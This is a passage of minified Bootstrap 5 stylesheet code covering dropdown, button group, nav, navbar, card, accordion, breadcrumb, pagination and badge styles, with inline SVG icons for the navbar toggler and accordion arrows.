transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropend .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-toggle::after{vertical-align:0}.dropstart .dropdown-menu[data-bs-popper]{top:0;right:100%;left:auto;margin-top:0;margin-right:var(--bs-dropdown-spacer)}.dropstart .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropstart .dropdown-toggle::after{display:none}.dropstart .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropstart .dropdown-toggle:empty::after{margin-left:0}.dropstart .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:var(--bs-dropdown-divider-margin-y) 0;overflow:hidden;border-top:1px solid var(--bs-dropdown-divider-bg);opacity:1}.dropdown-item{display:block;width:100%;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);clear:both;font-weight:400;color:var(--bs-dropdown-link-color);text-align:inherit;text-decoration:none;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:var(--bs-dropdown-link-hover-color);background-color:var(--bs-dropdown-link-hover-bg)}.dropdown-item.active,.dropdown-item:active{color:var(--bs-dropdown-link-active-color);text-decoration:none;background-color:var(--bs-dropdown-link-active-bg)}.dropdown-item.disabled,.dropdown-item:disabled{color:var(--bs-dropdown-link-disabled-color);pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x);margin-bottom:0;font-size:.875rem;color:var(--bs-dropdown-header-color);white-space:nowrap}.dropdown-item-text{display:block;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);color:var(--bs-dropdown-link-color)}.dropdown-menu-dark{--bs-dropdown-color:#dee2e6;--bs-dropdown-bg:#343a40;--bs-dropdown-border-color:var(--bs-border-color-translucent);--bs-dropdown-box-shadow: ;--bs-dropdown-link-color:#dee2e6;--bs-dropdown-link-hover-color:#fff;--bs-dropdown-divider-bg:var(--bs-border-color-translucent);--bs-dropdown-link-hover-bg:rgba(255, 255, 255, 0.15);--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#0d6efd;--bs-dropdown-link-disabled-color:#adb5bd;--bs-dropdown-header-color:#adb5bd}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn-check:checked+.btn,.btn-group-vertical>.btn-check:focus+.btn,.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn-check:checked+.btn,.btn-group>.btn-check:focus+.btn,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group{border-radius:.375rem}.btn-group>.btn-group:not(:first-child),.btn-group>:not(.btn-check:first-child)+.btn{margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn.dropdown-toggle-split:first-child,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:nth-child(n+3),.btn-group>:not(.btn-check)+.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropend .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropstart .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn~.btn{border-top-left-radius:0;border-top-right-radius:0}.nav{--bs-nav-link-padding-x:1rem;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color:var(--bs-link-color);--bs-nav-link-hover-color:var(--bs-link-hover-color);--bs-nav-link-disabled-color:#6c757d;display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x);font-size:var(--bs-nav-link-font-size);font-weight:var(--bs-nav-link-font-weight);color:var(--bs-nav-link-color);text-decoration:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out}@media (prefers-reduced-motion:reduce){.nav-link{transition:none}}.nav-link:focus,.nav-link:hover{color:var(--bs-nav-link-hover-color)}.nav-link.disabled{color:var(--bs-nav-link-disabled-color);pointer-events:none;cursor:default}.nav-tabs{--bs-nav-tabs-border-width:1px;--bs-nav-tabs-border-color:#dee2e6;--bs-nav-tabs-border-radius:0.375rem;--bs-nav-tabs-link-hover-border-color:#e9ecef #e9ecef #dee2e6;--bs-nav-tabs-link-active-color:#495057;--bs-nav-tabs-link-active-bg:#fff;--bs-nav-tabs-link-active-border-color:#dee2e6 #dee2e6 #fff;border-bottom:var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color)}.nav-tabs .nav-link{margin-bottom:calc(-1 * var(--bs-nav-tabs-border-width));background:0 0;border:var(--bs-nav-tabs-border-width) solid transparent;border-top-left-radius:var(--bs-nav-tabs-border-radius);border-top-right-radius:var(--bs-nav-tabs-border-radius)}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{isolation:isolate;border-color:var(--bs-nav-tabs-link-hover-border-color)}.nav-tabs .nav-link.disabled,.nav-tabs .nav-link:disabled{color:var(--bs-nav-link-disabled-color);background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:var(--bs-nav-tabs-link-active-color);background-color:var(--bs-nav-tabs-link-active-bg);border-color:var(--bs-nav-tabs-link-active-border-color)}.nav-tabs .dropdown-menu{margin-top:calc(-1 * var(--bs-nav-tabs-border-width));border-top-left-radius:0;border-top-right-radius:0}.nav-pills{--bs-nav-pills-border-radius:0.375rem;--bs-nav-pills-link-active-color:#fff;--bs-nav-pills-link-active-bg:#0d6efd}.nav-pills .nav-link{background:0 0;border:0;border-radius:var(--bs-nav-pills-border-radius)}.nav-pills .nav-link:disabled{color:var(--bs-nav-link-disabled-color);background-color:transparent;border-color:transparent}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:var(--bs-nav-pills-link-active-color);background-color:var(--bs-nav-pills-link-active-bg)}.nav-fill .nav-item,.nav-fill>.nav-link{flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{flex-basis:0;flex-grow:1;text-align:center}.nav-fill .nav-item .nav-link,.nav-justified .nav-item .nav-link{width:100%}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{--bs-navbar-padding-x:0;--bs-navbar-padding-y:0.5rem;--bs-navbar-color:rgba(0, 0, 0, 0.55);--bs-navbar-hover-color:rgba(0, 0, 0, 0.7);--bs-navbar-disabled-color:rgba(0, 0, 0, 0.3);--bs-navbar-active-color:rgba(0, 0, 0, 0.9);--bs-navbar-brand-padding-y:0.3125rem;--bs-navbar-brand-margin-end:1rem;--bs-navbar-brand-font-size:1.25rem;--bs-navbar-brand-color:rgba(0, 0, 0, 0.9);--bs-navbar-brand-hover-color:rgba(0, 0, 0, 0.9);--bs-navbar-nav-link-padding-x:0.5rem;--bs-navbar-toggler-padding-y:0.25rem;--bs-navbar-toggler-padding-x:0.75rem;--bs-navbar-toggler-font-size:1.25rem;--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e");--bs-navbar-toggler-border-color:rgba(0, 0, 0, 0.1);--bs-navbar-toggler-border-radius:0.375rem;--bs-navbar-toggler-focus-width:0.25rem;--bs-navbar-toggler-transition:box-shadow 0.15s ease-in-out;position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding:var(--bs-navbar-padding-y) var(--bs-navbar-padding-x)}.navbar>.container,.navbar>.container-fluid,.navbar>.container-lg,.navbar>.container-md,.navbar>.container-sm,.navbar>.container-xl,.navbar>.container-xxl{display:flex;flex-wrap:inherit;align-items:center;justify-content:space-between}.navbar-brand{padding-top:var(--bs-navbar-brand-padding-y);padding-bottom:var(--bs-navbar-brand-padding-y);margin-right:var(--bs-navbar-brand-margin-end);font-size:var(--bs-navbar-brand-font-size);color:var(--bs-navbar-brand-color);text-decoration:none;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{color:var(--bs-navbar-brand-hover-color)}.navbar-nav{--bs-nav-link-padding-x:0;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color:var(--bs-navbar-color);--bs-nav-link-hover-color:var(--bs-navbar-hover-color);--bs-nav-link-disabled-color:var(--bs-navbar-disabled-color);display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link.active,.navbar-nav .show>.nav-link{color:var(--bs-navbar-active-color)}.navbar-nav .dropdown-menu{position:static}.navbar-text{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-navbar-color)}.navbar-text a,.navbar-text a:focus,.navbar-text a:hover{color:var(--bs-navbar-active-color)}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x);font-size:var(--bs-navbar-toggler-font-size);line-height:1;color:var(--bs-navbar-color);background-color:transparent;border:var(--bs-border-width) solid var(--bs-navbar-toggler-border-color);border-radius:var(--bs-navbar-toggler-border-radius);transition:var(--bs-navbar-toggler-transition)}@media (prefers-reduced-motion:reduce){.navbar-toggler{transition:none}}.navbar-toggler:hover{text-decoration:none}.navbar-toggler:focus{text-decoration:none;outline:0;box-shadow:0 0 0 var(--bs-navbar-toggler-focus-width)}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;background-image:var(--bs-navbar-toggler-icon-bg);background-repeat:no-repeat;background-position:center;background-size:100%}.navbar-nav-scroll{max-height:var(--bs-scroll-height,75vh);overflow-y:auto}@media (min-width:576px){.navbar-expand-sm{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-sm .offcanvas .offcanvas-header{display:none}.navbar-expand-sm .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:768px){.navbar-expand-md{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-md .offcanvas .offcanvas-header{display:none}.navbar-expand-md .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:992px){.navbar-expand-lg{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-lg .offcanvas .offcanvas-header{display:none}.navbar-expand-lg .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1200px){.navbar-expand-xl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-xl .offcanvas .offcanvas-header{display:none}.navbar-expand-xl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1400px){.navbar-expand-xxl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xxl .navbar-nav{flex-direction:row}.navbar-expand-xxl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xxl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xxl .navbar-nav-scroll{overflow:visible}.navbar-expand-xxl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xxl .navbar-toggler{display:none}.navbar-expand-xxl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-xxl .offcanvas .offcanvas-header{display:none}.navbar-expand-xxl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}.navbar-expand{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand .offcanvas .offcanvas-header{display:none}.navbar-expand .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}.navbar-dark{--bs-navbar-color:rgba(255, 255, 255, 0.55);--bs-navbar-hover-color:rgba(255, 255, 255, 0.75);--bs-navbar-disabled-color:rgba(255, 255, 255, 0.25);--bs-navbar-active-color:#fff;--bs-navbar-brand-color:#fff;--bs-navbar-brand-hover-color:#fff;--bs-navbar-toggler-border-color:rgba(255, 255, 255, 0.1);--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.card{--bs-card-spacer-y:1rem;--bs-card-spacer-x:1rem;--bs-card-title-spacer-y:0.5rem;--bs-card-border-width:1px;--bs-card-border-color:var(--bs-border-color-translucent);--bs-card-border-radius:0.375rem;--bs-card-box-shadow: ;--bs-card-inner-border-radius:calc(0.375rem - 1px);--bs-card-cap-padding-y:0.5rem;--bs-card-cap-padding-x:1rem;--bs-card-cap-bg:rgba(0, 0, 0, 0.03);--bs-card-cap-color: ;--bs-card-height: ;--bs-card-color: ;--bs-card-bg:#fff;--bs-card-img-overlay-padding:1rem;--bs-card-group-margin:0.75rem;position:relative;display:flex;flex-direction:column;min-width:0;height:var(--bs-card-height);word-wrap:break-word;background-color:var(--bs-card-bg);background-clip:border-box;border:var(--bs-card-border-width) solid var(--bs-card-border-color);border-radius:var(--bs-card-border-radius)}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{flex:1 1 auto;padding:var(--bs-card-spacer-y) var(--bs-card-spacer-x);color:var(--bs-card-color)}.card-title{margin-bottom:var(--bs-card-title-spacer-y)}.card-subtitle{margin-top:calc(-.5 * var(--bs-card-title-spacer-y));margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link+.card-link{margin-left:var(--bs-card-spacer-x)}.card-header{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);margin-bottom:0;color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-bottom:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-header:first-child{border-radius:var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0}.card-footer{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-top:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-footer:last-child{border-radius:0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius)}.card-header-tabs{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-bottom:calc(-1 * var(--bs-card-cap-padding-y));margin-left:calc(-.5 * var(--bs-card-cap-padding-x));border-bottom:0}.card-header-tabs .nav-link.active{background-color:var(--bs-card-bg);border-bottom-color:var(--bs-card-bg)}.card-header-pills{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-left:calc(-.5 * var(--bs-card-cap-padding-x))}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:var(--bs-card-img-overlay-padding);border-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom,.card-img-top{width:100%}.card-img,.card-img-top{border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom{border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card-group>.card{margin-bottom:var(--bs-card-group-margin)}@media (min-width:576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.accordion{--bs-accordion-color:#212529;--bs-accordion-bg:#fff;--bs-accordion-transition:color 0.15s ease-in-out,background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out,border-radius 0.15s ease;--bs-accordion-border-color:var(--bs-border-color);--bs-accordion-border-width:1px;--bs-accordion-border-radius:0.375rem;--bs-accordion-inner-border-radius:calc(0.375rem - 1px);--bs-accordion-btn-padding-x:1.25rem;--bs-accordion-btn-padding-y:1rem;--bs-accordion-btn-color:#212529;--bs-accordion-btn-bg:var(--bs-accordion-bg);--bs-accordion-btn-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23212529'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-icon-width:1.25rem;--bs-accordion-btn-icon-transform:rotate(-180deg);--bs-accordion-btn-icon-transition:transform 0.2s ease-in-out;--bs-accordion-btn-active-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%230c63e4'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-focus-border-color:#86b7fe;--bs-accordion-btn-focus-box-shadow:0 0 0 0.25rem rgba(13, 110, 253, 0.25);--bs-accordion-body-padding-x:1.25rem;--bs-accordion-body-padding-y:1rem;--bs-accordion-active-color:#0c63e4;--bs-accordion-active-bg:#e7f1ff}.accordion-button{position:relative;display:flex;align-items:center;width:100%;padding:var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x);font-size:1rem;color:var(--bs-accordion-btn-color);text-align:left;background-color:var(--bs-accordion-btn-bg);border:0;border-radius:0;overflow-anchor:none;transition:var(--bs-accordion-transition)}@media (prefers-reduced-motion:reduce){.accordion-button{transition:none}}.accordion-button:not(.collapsed){color:var(--bs-accordion-active-color);background-color:var(--bs-accordion-active-bg);box-shadow:inset 0 calc(-1 * var(--bs-accordion-border-width)) 0 var(--bs-accordion-border-color)}.accordion-button:not(.collapsed)::after{background-image:var(--bs-accordion-btn-active-icon);transform:var(--bs-accordion-btn-icon-transform)}.accordion-button::after{flex-shrink:0;width:var(--bs-accordion-btn-icon-width);height:var(--bs-accordion-btn-icon-width);margin-left:auto;content:"";background-image:var(--bs-accordion-btn-icon);background-repeat:no-repeat;background-size:var(--bs-accordion-btn-icon-width);transition:var(--bs-accordion-btn-icon-transition)}@media (prefers-reduced-motion:reduce){.accordion-button::after{transition:none}}.accordion-button:hover{z-index:2}.accordion-button:focus{z-index:3;border-color:var(--bs-accordion-btn-focus-border-color);outline:0;box-shadow:var(--bs-accordion-btn-focus-box-shadow)}.accordion-header{margin-bottom:0}.accordion-item{color:var(--bs-accordion-color);background-color:var(--bs-accordion-bg);border:var(--bs-accordion-border-width) solid var(--bs-accordion-border-color)}.accordion-item:first-of-type{border-top-left-radius:var(--bs-accordion-border-radius);border-top-right-radius:var(--bs-accordion-border-radius)}.accordion-item:first-of-type .accordion-button{border-top-left-radius:var(--bs-accordion-inner-border-radius);border-top-right-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:not(:first-of-type){border-top:0}.accordion-item:last-of-type{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-item:last-of-type .accordion-button.collapsed{border-bottom-right-radius:var(--bs-accordion-inner-border-radius);border-bottom-left-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:last-of-type .accordion-collapse{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-body{padding:var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x)}.accordion-flush .accordion-collapse{border-width:0}.accordion-flush .accordion-item{border-right:0;border-left:0;border-radius:0}.accordion-flush .accordion-item:first-child{border-top:0}.accordion-flush .accordion-item:last-child{border-bottom:0}.accordion-flush .accordion-item .accordion-button,.accordion-flush .accordion-item .accordion-button.collapsed{border-radius:0}.breadcrumb{--bs-breadcrumb-padding-x:0;--bs-breadcrumb-padding-y:0;--bs-breadcrumb-margin-bottom:1rem;--bs-breadcrumb-bg: ;--bs-breadcrumb-border-radius: ;--bs-breadcrumb-divider-color:#6c757d;--bs-breadcrumb-item-padding-x:0.5rem;--bs-breadcrumb-item-active-color:#6c757d;display:flex;flex-wrap:wrap;padding:var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x);margin-bottom:var(--bs-breadcrumb-margin-bottom);font-size:var(--bs-breadcrumb-font-size);list-style:none;background-color:var(--bs-breadcrumb-bg);border-radius:var(--bs-breadcrumb-border-radius)}.breadcrumb-item+.breadcrumb-item{padding-left:var(--bs-breadcrumb-item-padding-x)}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:var(--bs-breadcrumb-item-padding-x);color:var(--bs-breadcrumb-divider-color);content:var(--bs-breadcrumb-divider, "/")}.breadcrumb-item.active{color:var(--bs-breadcrumb-item-active-color)}.pagination{--bs-pagination-padding-x:0.75rem;--bs-pagination-padding-y:0.375rem;--bs-pagination-font-size:1rem;--bs-pagination-color:var(--bs-link-color);--bs-pagination-bg:#fff;--bs-pagination-border-width:1px;--bs-pagination-border-color:#dee2e6;--bs-pagination-border-radius:0.375rem;--bs-pagination-hover-color:var(--bs-link-hover-color);--bs-pagination-hover-bg:#e9ecef;--bs-pagination-hover-border-color:#dee2e6;--bs-pagination-focus-color:var(--bs-link-hover-color);--bs-pagination-focus-bg:#e9ecef;--bs-pagination-focus-box-shadow:0 0 0 0.25rem rgba(13, 110, 253, 0.25);--bs-pagination-active-color:#fff;--bs-pagination-active-bg:#0d6efd;--bs-pagination-active-border-color:#0d6efd;--bs-pagination-disabled-color:#6c757d;--bs-pagination-disabled-bg:#fff;--bs-pagination-disabled-border-color:#dee2e6;display:flex;padding-left:0;list-style:none}.page-link{position:relative;display:block;padding:var(--bs-pagination-padding-y) var(--bs-pagination-padding-x);font-size:var(--bs-pagination-font-size);color:var(--bs-pagination-color);text-decoration:none;background-color:var(--bs-pagination-bg);border:var(--bs-pagination-border-width) solid var(--bs-pagination-border-color);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.page-link{transition:none}}.page-link:hover{z-index:2;color:var(--bs-pagination-hover-color);background-color:var(--bs-pagination-hover-bg);border-color:var(--bs-pagination-hover-border-color)}.page-link:focus{z-index:3;color:var(--bs-pagination-focus-color);background-color:var(--bs-pagination-focus-bg);outline:0;box-shadow:var(--bs-pagination-focus-box-shadow)}.active>.page-link,.page-link.active{z-index:3;color:var(--bs-pagination-active-color);background-color:var(--bs-pagination-active-bg);border-color:var(--bs-pagination-active-border-color)}.disabled>.page-link,.page-link.disabled{color:var(--bs-pagination-disabled-color);pointer-events:none;background-color:var(--bs-pagination-disabled-bg);border-color:var(--bs-pagination-disabled-border-color)}.page-item:not(:first-child) .page-link{margin-left:-1px}.page-item:first-child .page-link{border-top-left-radius:var(--bs-pagination-border-radius);border-bottom-left-radius:var(--bs-pagination-border-radius)}.page-item:last-child .page-link{border-top-right-radius:var(--bs-pagination-border-radius);border-bottom-right-radius:var(--bs-pagination-border-radius)}.pagination-lg{--bs-pagination-padding-x:1.5rem;--bs-pagination-padding-y:0.75rem;--bs-pagination-font-size:1.25rem;--bs-pagination-border-radius:0.5rem}.pagination-sm{--bs-pagination-padding-x:0.5rem;--bs-pagination-padding-y:0.25rem;--bs-pagination-font-size:0.875rem;--bs-pagination-border-radius:0.25rem}.badge{--bs-badge-padding-x:0.65em;--bs-badge-padding-y:0.35em;--bs-badge-font-size:0.75em;--bs-badge-font-weight:700;--bs-badge-color:#fff;--bs-badge-border-radius:0.375rem;display:inline-block;padding:var(--bs-badge-padding-y) var(--bs-badge-padding-x);font-size:var(--bs-badge-font-size);font-weight:var(--bs-badge-font-weight);line-height:1;color:var(--bs-badge-color);text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:var(--bs-badge-border-radius)}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.alert{--bs-alert-bg:transparent;--bs-alert-padding-x:1rem;--bs-alert-padding-y:1rem;--bs-alert-margin-bottom:1rem;--bs-alert-color:inherit;--bs-alert-border-color:transparent;--bs-alert-border:1px solid var(--bs-alert-border-color);--bs-alert-border-radius:0.375rem;position:relative;padding:var(--bs-alert-padding-y) 